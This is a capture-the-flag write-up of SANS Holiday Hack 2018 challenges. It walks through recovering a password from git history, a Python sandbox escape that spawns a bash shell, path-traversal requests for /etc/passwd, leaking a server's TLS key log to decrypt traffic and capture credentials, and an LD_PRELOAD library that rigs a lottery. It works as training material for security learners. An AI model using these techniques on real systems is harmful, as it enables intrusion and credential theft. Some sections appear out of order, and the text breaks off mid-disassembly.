.,:::::::::::::::::::kWWk::::::::::::::ldl:::::;'. .,::;,,::::::::::::::::::::::::::::::::::lMMMl:::::::;'. .,:::::;,;:::::::::::::::::::::::::::::::::::ldl::::::::::::'. .,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'. ..;;;;;;;;'. .';;;;;;;;;;;;'. .';;;;;;;;;;;;;;;;;;'. ........................ Coalbox again, and I've got one more ask. Sparkle Q. Redberry has fumbled a task. Git pull and merging, she did all the day; With all this gitting, some creds got away. Urging - I scolded, "Don't put creds in git!" She said, "Don't worry - you're having a fit. If I did drop them then surely I could, Upload some new code done up as one should." Though I would like to believe this here elf, I'm worried we've put some creds on a shelf. Any who's curious might find our "oops," Please find it fast before some other snoops! Find Sparkle's password, then run the runtoanswer tool. elf@fa3b5d8290f0:~$


Let's see the git repository and check the commit history:

elf@76d904959962:~$ls -lh total 5.7M drwxr-xr-x 1 elf elf 4.0K Nov 14 09:48 kcconfmgmt -rwxr-xr-x 1 elf elf 5.7M Dec 14 16:13 runtoanswer elf@76d904959962:~$ cd kcconfmgmt/
elf@76d904959962:~/kcconfmgmt$git log | grep -i -C 5 password commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Sat Nov 10 19:51:52 2018 -0500 Add user model for authentication, bcrypt password storage commit c27135005753f6dde3511a7e70eb27f92f67393f Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Sat Nov 10 08:11:40 2018 -0500 -- commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Thu Nov 8 21:11:03 2018 -0500 Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use commit b2376f4a93ca1889ba7d947c2d14be9a5d138802 Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Thu Nov 8 13:25:32 2018 -0500  Apparently, in commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b, Sparkle removed her password from the config.js file, which was replaced by a default config.js.def. Let's see where this file is: elf@76d904959962:~/kcconfmgmt$ find . -name config.js.def
./server/config/config.js.def


Now that we know where it is, we can guess where the original config.js file was. Let's check it's modification history:

elf@eba657fc7961:~/kcconfmgmt$git log -p -- ./server/config/config.js commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Thu Nov 8 21:11:03 2018 -0500 Per @tcoalbox admonishment, removed username/password from config.js, default settings in c onfig.js.def need to be updated before use diff --git a/server/config/config.js b/server/config/config.js deleted file mode 100644 index 25be269..0000000 --- a/server/config/config.js +++ /dev/null @@ -1,4 +0,0 @@ -// Database URL -module.exports = { - 'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api' -}; [snip]  We find our commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b, which deletes the file, and gives us the content of the original config.js file. Sparkle's password is twinkletwinkletwinkle: elf@fa3b5d8290f0:~$ ./runtoanswer

This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.

Congratulations!


### Elf InfoSec Careers Website

We're asked to take a look at the Elf InfoSec Careers website. It's a website where you can upload your application, and if your profile is interesting enough, you can join Santa's elves! The goal is to get the content of the C:\candidate_evaluation.docx file.

Let's fill an application. You must provide your full name, phone number, email address, and a CSV file with your work history:

POST /api/upload/application HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://careers.kringlecastle.com/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1284099169763381272238033
Content-Length: 683
Connection: close

-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="firstname"

Foo
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="lastname"

Bar
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="phone"

0000000000
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="email"

foo@bar.com
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="csv"; filename="resume.csv"
Content-Type: text/csv

Super pentester

-----------------------------1284099169763381272238033--

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Thu, 03 Jan 2019 16:18:04 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"172-gwRZ+l3Bn2+yGvHpphldazlOPqI"
Content-Length: 370

Thank you for taking the time to upload your information to our elf resources shared workshop station! Our elf resources will review your CSV work history within the next few minutes to see if you qualify to join our elite team of InfoSec Elves. If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx


I first thought that we'd have to perform an upload vulnerability, where we could upload a webshell and gain remote code execution on the server. I tried looking for an upload directory, for example in /uploads/:

GET /uploads/ HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Thu, 03 Jan 2019 16:23:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Express
Cache-Control: public, max-age=0
Last-Modified: Fri, 07 Dec 2018 01:34:04 GMT
ETag: W/"f48-167864ce0e2"
Content-Length: 3912

<html>
[snip]
<!--physical server path--->
<p>Publicly accessible file served from: <br>
<br>
<!---logical web path-->
<strong><p>Try: <br> https://careers.kringlecastle.com/public/'file name you are looking for'</p></strong>

</body>
</html>


Hmm, what a helpful 404 error message. It gives us the full path to the public web folder, and the URL. This means, that if we can get the C:\candidate_evaluation.docx in this directory, we'll be able to download it. But how can we do so with only what we have in the application form?

The work history file that we upload is a CSV file. And apparently, this server is a Windows server, given the file paths, and all. This means that the CSV file will probably be opened by an elf using Excel. In that case, we can use a CSV injection to execute code on the elf's workstation. This is a vulnerability we sometimes find during pentest assessments. However, it's pretty low risk, because it's kind of clunky to exploit: the user has to download the CSV, try to evaluate the cell with our payload, and click "Yes" on a warning prompt. It's still worth a try, though:

i_escaped
$./i_escaped Loading, please wait...... ____ _ _ | _ \ _ _| |_| |__ ___ _ __ | |_) | | | | __| '_ \ / _ \| '_ \ | __/| |_| | |_| | | | (_) | | | | |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ | ____||___/___ __ _ _ __ ___ __| | | | _| / __|/ __/ _ | '_ \ / _ \/ _ | | | |___\__ \ (_| (_| | |_) | __/ (_| |_| |_____|___/\___\__,_| .__/ \___|\__,_(_) |_| That's some fancy Python hacking - You have sent that lizard packing! -SugarPlum Mary You escaped! Congratulations!  For those of you that are curious, here's the code of the jail, which includes a solution: #! /usr/bin/env python3 # -*- coding: utf-8 -*- import readline import code try: input = raw_input except: pass banner= ''' [snip] ''' def readfilter(*args,**kwargs): inline = input(*args,**kwargs) #warning: if any of your imports enable the blacklisted items you will expose the question to the test taker. for eachterm in whitelist: if inline.replace(" ","") == eachterm.replace(" ",""): return inline #warning: removing any of the following items from this list will likely expose the question. for eachterm in restricted_terms: if eachterm.replace(" ","") in inline.replace(" ",""): print("Use of the command {0} is prohibited for this question.".format(eachterm)) return "" return inline whitelist = [] if __name__ == "__main__": restricted_terms = ['import','pty', 'open','exec',"compile", "os.system", "subprocess.", "reload", "__builtins__" ,"__class__","__mro__" ] code.interact(banner=banner, readfunc=readfilter, local=locals()) #eval("__im"+"port__('p'+'ty').s"+"pawn('/bin/bash')")  ### Packet Capture and Analysis Website Santa has created a packet capture and analysis web site, where people can upload PCAP files to analyze them, or sniff traffic from the website for 20 seconds: Sniffing traffic from the website is interesting, because we could then see other people's traffic. Unfortunately, the only traffic we see is HTTPS, which means that it is encrypted. If we want to decrypt it, we have to find a way to get the server's private SSL key. Since the website offers an upload functionality, I tried uploading invalid PCAP files, in order to get code execution via a webshell. However, it did not work. I also tried some path traversing in the uploads directory, but it did not work: $ curl 'https://packalyzer.kringlecastle.com/uploads/../../../../etc/passwd' -H 'Cookie: PASESSION=287850715490745264942409679417652'


I tried some directory listing, but I also got an error there:

$curl 'https://packalyzer.kringlecastle.com/uploads/' -H 'Cookie: PASESSION=287850715490745264942409679417652' Error: EISDIR: illegal operation on a directory, read$ curl 'https://packalyzer.kringlecastle.com/uploads/test' -H 'Cookie: PASESSION=287850715490745264942409679417652'
Error: ENOENT: no such file or directory, open '/opt/http2/uploads//test


Ha! We got a different error message. The error codes EISDIR and ENOENT indicates that the website is most likely based on Node.js. We also learned that our web root is in /opt/http2/. However, we're not closer to our goal. So let's keep digging, by looking at the source code of the website:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.ui.widget.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.iframe-transport.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/custom.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/xss.js"></script>


That's kind of odd: the website loads some JavaScript files. What's odd is that it connects to the packalyzer website using HTTPS, but on the TCP port 80, which is usually used for plaintext HTTP. Let's investigate a little bit more on this port. Let's try to see the content of the /pub/ directory:

$curl 'https://packalyzer.kringlecastle.com:80/pub/' <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.10.3</center> </body> </html>  Huh, we didn't get the same error message as before. Here, we can see that we're communicating with an nginx server. What is most likely happening here is that there are two webservers: • One listening on TCP/443, which runs the Node.js application. • One listening on TCP/80, which is most likely an nginx reverse proxy that serves static files to the web application. That's interesting, maybe we can use the nginx reverse proxy to download the server's SSL key. I tried several ideas, such as doing a path traversal to try and download the SSL key, but it didn't work. So what other files can we try to download. One of the most important files in a Node.js application is the app.js file, which holds most of the application logic. Let's try to download it: $ curl 'https://packalyzer.kringlecastle.com:80/app.js'
#!/usr/bin/node
//pcapalyzer - The web based packet analyzer
const cluster = require('cluster');
const os = require('os');
const path = require('path');
const fs = require('fs');
const http2 = require('http2');
const koa = require('koa');
const Router = require('koa-router');
const mime = require('mime-types');
const mongoose = require('mongoose');
const koaBody = require('koa-body');
const execSync = require('child_process').execSync;
const execAsync = require('child_process').exec;
const redis = require("redis");
const redis_connection = redis.createClient();
const {promisify} = require('util');
const getAsync = promisify(redis_connection.get).bind(redis_connection);
const setAsync = promisify(redis_connection.set).bind(redis_connection);
const delAsync = promisify(redis_connection.del).bind(redis_connection);
const sha1 = require('sha1');
[snip]


It works! Here's the full file. (There was some binary content in the middle of the file that I removed):

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 #!/usr/bin/node //pcapalyzer - The web based packet analyzer const cluster = require('cluster'); const os = require('os'); const path = require('path'); const fs = require('fs'); const http2 = require('http2'); const koa = require('koa'); const Router = require('koa-router'); const mime = require('mime-types'); const mongoose = require('mongoose'); const koaBody = require('koa-body'); const cookie = require('koa-cookie'); const execSync = require('child_process').execSync; const execAsync = require('child_process').exec; const redis = require("redis"); const redis_connection = redis.createClient(); const {promisify} = require('util'); const getAsync = promisify(redis_connection.get).bind(redis_connection); const setAsync = promisify(redis_connection.set).bind(redis_connection); const delAsync = promisify(redis_connection.del).bind(redis_connection); const sha1 = require('sha1'); require('events').EventEmitter.defaultMaxListeners = Infinity; const log = console.log; const print = log; const dev_mode = true; const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE ) const options = { key: fs.readFileSync(__dirname + '/keys/server.key'), cert: fs.readFileSync(__dirname + '/keys/server.crt'), http2: { protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1 protocols: [ 'h2' ], }, keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time }; //================================== //Standard Mongoose Connection Stuff //================================== const app = new koa(); const router = new Router(); router.use(cookie.default()); app.use(router.routes()).use(router.allowedMethods()); mongoose.connect('mongodb://localhost:27017/packalyzer',{ useNewUrlParser: true }); const Schema = mongoose.Schema; const userSchema = new Schema({ name: { type: String, required: true, unique: true }, email: { type: String, required: true, unique: true }, password: { type: String, required: true }, is_admin: { type: Boolean, required: true }, captures: { type: Array, required: true }, }); const Users = mongoose.model('Users', userSchema); //Sets Users to be allowed to sniff or just admins const Allow_All_To_Sniff = true; //================================== //Standard Mongoose Connection Stuff //================================== Array.prototype.clean = function(deleteValue) { for (var i = 0; i < this.length; i++) { if (this[i] == deleteValue) { this.splice(i, 1); i--; } } return this; }; var uniqueArray = function(arrArg) { return arrArg.filter(function(elem, pos,arr) { return arr.indexOf(elem) == pos; }); }; function load_envs() { var dirs = [] var env_keys = Object.keys(process.env) for (var i=0; i < env_keys.length; i++) { if (typeof process.env[env_keys[i]] === "string" ) { dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') ) } } return uniqueArray(dirs) } if (dev_mode) { //Can set env variable to open up directories during dev const env_dirs = load_envs(); } else { const env_dirs = ['/pub/','/uploads/']; } const api_functions = { 'login':login, 'logout':logout, 'users':find_users, 'register':register, 'upload':upload, 'list':list_caps, 'delete':delete_caps, 'sniff':sniff_traffic, 'process':start_process, } const api_function = async (ctx, next) => { var Session = await sessionizer(ctx); const action = ctx.params.action; if ((Session.authenticated && Object.keys(api_functions).includes(action)) || ['login','register','users'].includes(action) ) { if (typeof api_functions[action] === 'function') { try{ await api_functions[action](ctx, next, Session); } catch (e) { log(e) ctx.status=500; ctx.body=e.toString(); } } else { ctx.body='Not Found'; } } else { ctx.status=401; ctx.body='Unauthorized'; } await next(); } //Route for anything in the public folder except index, home and register router.get(env_dirs, async (ctx, next) => { try { var Session = await sessionizer(ctx); //Splits into an array delimited by / let split_path = ctx.path.split('/').clean(""); //Grabs directory which should be first element in array let dir = split_path[0].toUpperCase(); split_path.shift(); let filename = "/"+split_path.join('/'); while (filename.indexOf('..') > -1) { filename = filename.replace(/\.\./g,''); } if (!['index.html','home.html','register.html'].includes(filename)) { ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename)) ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename) } else { ctx.status=404; ctx.body='Not Found'; } } catch (e) { ctx.body=e.toString(); } }); router .get('/api/:action', async (ctx, next) => { await api_function(ctx, next) }) .post('/api/:action', koaBody({ multipart: true }), async (ctx, next) => { await api_function(ctx, next) }) const server = http2.createSecureServer(options, app.callback()); server.listen(443); 

What can we learn from this source code:

• Line 26: the application is running in dev mode
• Line 27: the key_log_path variable holds the path to the SSL secrets used by the server
• Line 27: the process.env contains the path to the SSL secrets file
• Lines 86-88: in dev mode, every directory that is in the process.env variable is potentially accessible via the webserver.
• Lines 132, 140: if we access https://packalyzer.kringlecastle.com/secret_directory/secret_file, the webserver will use the value of process.env.secret_directory as the name of our folder to get the secret_file.

This last point is interesting. Since process.env contains the path to the SSL secrets, we can try to use this automatic resolution to get the content of key_log_path. First let's try to resolve the process.env.SSLKEYLOGFILE variable:

$curl 'https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/' Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/  So, the value of this variable seems to be packalyzer_clientrandom_ssl.log. We can now access the file. We use the same trick as before to resolve the process.env.DEV variable: $ curl 'https://packalyzer.kringlecastle.com/DEV/packalyzer_clientrandom_ssl.log'
CLIENT_RANDOM D5DFF2B39A827877C64457B9F246A2BC05869EDA679F2167692ACB36480AABB4 B6B4C39A3161566566E6291030EDEBA1F91511B8513F07CBE4A159022F497A1AEB18821887B51FDC1764F2219DEFC001
CLIENT_RANDOM BBEE641A4FB1B77D8D23FE324649B02E30B024BEA322D61CC77F2A1A5A6423C7 6289BBAFD1DF5C23CCC68C6E579D71E1D18416F2D0CEB05351E10A7C27A22FEDC66221C33DFCC908490C0EBBF9BF8F97
CLIENT_RANDOM 1C7E42420FBC79D157D86366DB1907CEC1D27343893647AF60D72CD4913825FE AEBC249465A01BA3A8D30E1FEB665CA0128A4F1BAC14D809F1B1F6F38F7B2423FFBC45E1402CA65E8B746174716F9B89
CLIENT_RANDOM 0E21203AE0707D515D46EF381CB7E04729110B18BF8DBE8EE8C6AA2D7F1A3742 C3461766C26A9209F1F248C4C7FA9A5E588A9E7933697D7F586D3380B187A344B04EB41C9232207008E54D9E4EAF53F8
CLIENT_RANDOM 2E6C446BACF3F740DA5DFB31BC922138C49B13C6DD522C770F81339D0582085A 90E48FE08378BB0E6569CB27547E8AAF724726289AE86188483A8C4D7B76A52DCA0598BBD8FF78E5F70CFDEA02208859
[snip]


Awesome, we get the SSL secrets of the webserver. We can use this to decrypt our sniffed traffic. Here's what we'll do:

• We'll sniff 20 seconds of traffic.
• We'll quickly download the SSl secrets file, because it will most likely contain the secrets for our sniffed traffic.

Here's my capture file, and here's my SSL secrets file. Now, let's open up Wireshark, so that we can decrypt the traffic. I found these slides that explain how you can configure Wireshark to use our SSL secrets:

Awesome, we now have decrypted the HTTP/2 traffic to the website. If we look around, we see a login request:

We found Alabaster's password to the packalyzer, alabaster:Packer-p@re-turntable192. Let's connect to the web site with these credentials, and see what capture files he has accessible:

Hmmm, super_secret_packet_capture.pcap, sounds interesting! You can download it here. Let's open it in Wireshark:

We can see some SMTP traffic. Let's follow the TCP stream to get a clearer picture:

220 mail.kringlecastle.com ESMTP Postfix (Ubuntu)
EHLO Mail.kringlecastle.com
250-mail.kringlecastle.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

MAIL FROM:<Holly.evergreen@mail.kringlecastle.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@mail.kringlecastle.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Fri, 28 Sep 2018 11:33:17 -0400
To: alabaster.snowball@mail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2018 11:33:17 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_11181"

------=_MIME_BOUNDARY_000_11181
Content-Type: text/plain

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment

JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4
IDE0MCBdIC9PIDEyIC9FIDc3MzQ0IC9OIDIgL1QgOTc1MTcgPj4KZW5kb2JqCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKOSAwIG9iago8PCAv
[snip]
2zMAAFMTA30KZW5kc3RyZWFtCmVuZG9iagogICAgICAgICAgICAgICAgICAgICAgICAgICAgIApz
dGFydHhyZWYKMjE2CiUlRU9GCg==

------=_MIME_BOUNDARY_000_11181--

.

250 2.0.0 Ok: queued as 4CF931B5C3C0
QUIT
221 2.0.0 Bye


We get a mail from Molly Evergreen with an attached document that explains music transposition. Let's copy/paste the base64 encoded document and decode it:

$base64 -d < attachment.b64 > attachment$ file attachment
attachment: PDF document, version 1.5
$mv attachment music_transposition.pdf  We get a PDF file. Here's what it says: A piano keyboard gives us easy access to every (western) tone. As we go from left to right, the pitches get higher. Pressing the middle A, for example, would give us a tone of 440 Hertz. Pressing the next A up (to the right) gives us 880 Hz, while the next one down (left) produces 220 Hz. These A tones each sound very similar to us - just higher and lower. Each A is an "octave" apart from the next. Going key by key, we count 12 "half tone" steps between one A and the next - 12 steps in an octave. As you may have guessed, elf (and human) ears perceive pitches logarithmically. That is, the frequency jump between octaves doubles as we go up the keyboard, and that sounds normal to us. Consequently, the precise frequency of each note other than A can only be cleanly expressed with a log base 12 expression. Ugh! For our purposes though, we can think of note separation in terms of whole and half steps. Have you noticed the black keys on the keyboard? They represent half steps between the white keys. For example, the black key between C and D is called C# (c-sharp) or Db (d-flat). Going from C to D is a whole step, but either is a half step from C#/Db. Some white keys don’t have black ones between them. B & C and E & F are each only a half step apart. Why? Well, it turns out that our ears like it that way. Try this: press C D E F G A B C on a piano. It sounds natural, right? The "C major" scale you just played matches every other major scale: • whole step from C to D • whole step from D to E • half step from E to F • whole step from F to G • Whole step from G to A • Whole step from A to B, and finally • Half step from B to C If you follow that same pattern (whole whole half whole whole whole half), you can start from any note on the keyboard and play a major scale. So a Bb major scale would be Bb C D Eb F G A Bb. You can get this by counting whole and half steps up from Bb or by taking each note in the C major scale and going down a whole step. This uniform shifting of tones is called transposition. This is done all the time in music because of differences in how instruments are designed, the sound an arranger wants to achieve, or the comfortable vocal range of a singer. Some elves can do this on the fly without really thinking, but it can always be done manually, looking at a piano keyboard. To look at it another way, consider a song "written in the key of Bb." If the musicians don’t like that key, it can be transposed to A with a little thought. First, how far apart are Bb and A? Looking at our piano, we see they are a half step apart. OK, so for each note, we’ll move down one half step. Here’s an original in Bb: D C Bb C D D D C C C D F F D C Bb C D D D D C C D C Bb And take everything down one half step for A: C# B A B C# C# C# B B B C# E E C# B A B C# C# C# C# B B C# B A We’ve just taken Mary Had a Little Lamb from Bb to A! So, the song in the document is "Mary Had a Little Lamb"! ## Ransomware Recovery ### Shiny Upatree's Cranberry Pi Challenge We must win Shiny Upatree's lottery. I'll hear the bells on Christmas Day Their sweet, familiar sound will play But just one elf, Pulls off the shelf, The bells to hang on Santa's sleigh! Please call me Shinny Upatree I write you now, 'cause I would be The one who gets - Whom Santa lets The bells to hang on Santa's sleigh! But all us elves do want the job, Conveying bells through wint'ry mob To be the one Toy making's done The bells to hang on Santa's sleigh! To make it fair, the Man devised A fair and simple compromise. A random chance, The winner dance! The bells to hang on Santa's sleigh! Now here I need your hacker skill. To be the one would be a thrill! Please do your best, And rig this test The bells to hang on Santa's sleigh! Complete this challenge by winning the sleighbell lottery for Shinny Upatree. elf@04895b80b092:~$


So, let's see this lottery:

elf@04895b80b092:~$ls gdb objdump sleighbell-lotto elf@04895b80b092:~$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 4526!
Sorry - better luck next year!


Hmm, let's try again:

elf@04895b80b092:~$./sleighbell-lotto The winning ticket is number 1225. Rolling the tumblers to see what number you'll draw... You drew ticket number 9478! Sorry - better luck next year!  So, we draw a random number, and we're supposed to get 1225. #### Yannick's (dirty) solution If you remember, we had a similar challenge in last year's Holiday Hack. We can create a fake C library and then use the LD_PRELOAD trick to change the behaviour of the rand function. Let's check that the sleighbell-lotto uses rand: elf@04895b80b092:~$ ./objdump -d ./sleighbell-lotto  | grep -i rand
00000000000009a0 <srand@plt>:
9a0:   ff 25 0a 76 20 00       jmpq   *0x20760a(%rip)        # 207fb0 <srand@GLIBC_2.2.5>
00000000000009c0 <rand@plt>:
9c0:   ff 25 fa 75 20 00       jmpq   *0x2075fa(%rip)        # 207fc0 <rand@GLIBC_2.2.5>
1505:       e8 96 f4 ff ff          callq  9a0 <srand@plt>
1520:       e8 9b f4 ff ff          callq  9c0 <rand@plt>


Alright, it seems to do so. Let's create our fake library. Trouble is, there's no gcc on the elf terminal. So let's generate this library on our own computer, and then copy it to the elf terminal:

$cat hijack_rand.c int rand() { return 1225; }$ gcc -o hijack_rand.so -shared -fPIC ./hijack_rand.c
$base64 ./hijack_rand.so f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAoAQAAAAAAABAAAAAAAAAABAXAAAAAAAAAAAAAEAAOAAH AEAAGAAXAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAYAAAAAAAA0BgAAAAAAAAAA IAAAAAAAAQAAAAYAAACADgAAAAAAAIAOIAAAAAAAgA4gAAAAAACgAQAAAAAAAKgBAAAAAAAAAAAg AAAAAAACAAAABgAAAJAOAAAAAAAAkA4gAAAAAACQDiAAAAAAAFABAAAAAAAAUAEAAAAAAAAIAAAA AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA [snip]  Now, let's copy the base64 in the elf terminal: elf@04895b80b092:~$ echo "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAoAQAAAAAAABAAAAAAAAAABAXAAAAAAAAAAAAAEAAOAAH
> AEAAGAAXAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAYAAAAAAAA0BgAAAAAAAAAA
> AAAAAAACAAAABgAAAJAOAAAAAAAAkA4gAAAAAACQDiAAAAAAAFABAAAAAAAAUAEAAAAAAAAIAAAA
> [snip]
> AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABMFgAAAAAAAMMA
> AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA" > ./hijack_rand.so.b64
elf@bb438504d48c:~$base64 -d < ./hijack_rand.so.b64 > ./hijack_rand.so elf@bb438504d48c:~$ LD_PRELOAD="./hijack_rand.so" ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 1225!

.....          ......
..,;:::::cccodkkkkkkkkkxdc;.   .......
.';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........
':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........
.;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........
.:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;.     ........
'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:.          ......
;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'
.xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
.kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;
:olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;
..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc
...................,',,:lxkkkkkkkkkkkkkd.
..........................';;:coxkkkkk:
...............................ckd.
...............................
...........................
.......................
....... ...
With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.


#### The "official" solution

As we can see from the congratulation message, and the fact that gdb is present on the elf shell, the official way to solve this challenge is to use gdb. So, let's load the lottery program in gdb:

elf@2ba77dc8fde8:~$./gdb -q ./sleighbell-lotto Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x00000000000014ca <+0>: push %rbp 0x00000000000014cb <+1>: mov %rsp,%rbp 0x00000000000014ce <+4>: sub$0x10,%rsp
0x00000000000014d2 <+8>:     lea    0x56d6(%rip),%rdi        # 0x6baf
0x00000000000014d9 <+15>:    callq  0x970 <getenv@plt>
0x00000000000014de <+20>:    test   %rax,%rax
0x00000000000014e1 <+23>:    jne    0x14f9 <main+47>
0x00000000000014e3 <+25>:    lea    0x56d6(%rip),%rdi        # 0x6bc0
0x00000000000014ea <+32>:    callq  0x910 <puts@plt>
0x00000000000014ef <+37>:    mov    $0xffffffff,%edi 0x00000000000014f4 <+42>: callq 0x920 <exit@plt> 0x00000000000014f9 <+47>: mov$0x0,%edi
0x00000000000014fe <+52>:    callq  0x9e0 <time@plt>
0x0000000000001503 <+57>:    mov    %eax,%edi
0x0000000000001505 <+59>:    callq  0x9a0 <srand@plt>
0x000000000000150a <+64>:    lea    0x583f(%rip),%rdi        # 0x6d50
0x0000000000001511 <+71>:    callq  0x910 <puts@plt>
0x0000000000001516 <+76>:    mov    $0x1,%edi 0x000000000000151b <+81>: callq 0x960 <sleep@plt> 0x0000000000001520 <+86>: callq 0x9c0 <rand@plt> 0x0000000000001525 <+91>: mov %eax,%ecx 0x0000000000001527 <+93>: mov$0x68db8bad,%edx
0x000000000000152c <+98>:    mov    %ecx,%eax
0x0000000000001516 <+76>:    mov    $0x1,%edi 0x000000000000152e <+100>: imul %edx 0x0000000000001530 <+102>: sar$0xc,%edx
0x0000000000001533 <+105>:   mov    %ecx,%eax
